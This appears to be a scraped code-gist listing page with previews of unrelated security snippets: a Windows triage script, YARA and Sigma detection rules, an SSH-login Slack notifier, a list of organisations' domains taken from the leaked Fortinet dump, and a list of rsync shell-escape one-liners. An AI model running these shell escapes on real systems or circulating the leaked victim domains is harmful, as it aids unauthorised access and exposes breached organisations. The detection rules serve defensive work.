A lightweight HTTP proxy that makes Ollama compatible with OpenAI-compatible clients while disabling "thinking" mode for faster responses and ensuring sufficient context window for tool-heavy requests.
If you're using Clawdbot with Ollama, this proxy solves three critical issues:
| <# | |
| .SYNOPSIS | |
| Windows triage collector (best-effort) - builds a ZIP with event logs and key system snapshots. | |
| .DESCRIPTION | |
| Collects a focused set of Windows artefacts to help debug "sometimes slow boot / input lag / occasional black screen" | |
| issues. Designed to never hang indefinitely: | |
| - Self-elevates to Administrator (UAC) if needed | |
| - Adds hard timeouts for external tools (msinfo32, dxdiag, wevtutil, robocopy) | |
| - Skips WER ReportQueue (often huge/locked and causes infinite runs) |
| rule MAL_BACKORDER_LOADER_WIN_Go_Jan23 { | |
| meta: | |
| description = "Detects the BACKORDER loader compiled in GO which download and executes a second stage payload from a remote server." | |
| author = "Arda Buyukkaya (modified by Florian Roth)" | |
| date = "2025-01-23" | |
| reference = "EclecticIQ" | |
| score = 80 | |
| tags = "loader, golang, BACKORDER, malware, windows" | |
| hash = "70c91ffdc866920a634b31bf4a070fb3c3f947fc9de22b783d6f47a097fec2d8" | |
| strings: |
| This is a list of the domains used in the contact email addresses found in the Fortinet dump file as published by Belsen Group and analysed by Kevin Beaumont on Mastodon : https://cyberplace.social/@GossiTheDog/113834848200229959 | |
| Some of these domains may just be the domains of free email services or services providers working for the actual victims. | |
| AE | |
| ---------------------------------------------------------------------- | |
| acsllc.ae | |
| aisdubai.ae | |
| alhamra.ae | |
| alrayan.ae | |
| alshirawi.ae |
| # Basic Shell Escapes | |
| rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null | |
| rsync -e 'bash -c "bash 0<&2 1>&2"' 127.0.0.1:/dev/null | |
| rsync -e '/bin/bash -i' 127.0.0.1:/dev/null | |
| rsync -e 'dash -c "dash 0<&2 1>&2"' 127.0.0.1:/dev/null | |
| rsync -e '/bin/dash -i' 127.0.0.1:/dev/null | |
| rsync -e 'zsh -c "zsh 0<&2 1>&2"' 127.0.0.1:/dev/null | |
| rsync -e '/bin/zsh -i' 127.0.0.1:/dev/null | |
| rsync -e 'ksh -c "ksh 0<&2 1>&2"' 127.0.0.1:/dev/null | |
| rsync -e '/bin/ksh -i' 127.0.0.1:/dev/null |
| title: Correlation - Multiple Failed Logins Followed by Successful Login | |
| id: b180ead8-d58f-40b2-ae54-c8940995b9b6 | |
| status: experimental | |
| description: Detects multiple failed logins by a single user followed by a successful login of that user | |
| references: | |
| - https://reference.com | |
| author: Florian Roth (Nextron Systems) | |
| date: 2023/06/16 | |
| correlation: | |
| type: temporal |
My LinkTree
by Proofpoint
by Austin Hudson
| #!/bin/bash -x | |
| hostname=$(hostname) | |
| source=$(echo "$SSH_CONNECTION" | cut -d' ' -f 1) | |
| geo=$(geoiplookup "$source") | |
| curl -X POST --silent --data "payload={\"text\": \":bust_in_silhouette: SYSTEM: $hostname USER: $USER SOURCE: $source GEO: $geo\"}" https://hooks.slack.com/services/XXXXXXXX_YOURHOOK_XXXXX > /dev/null |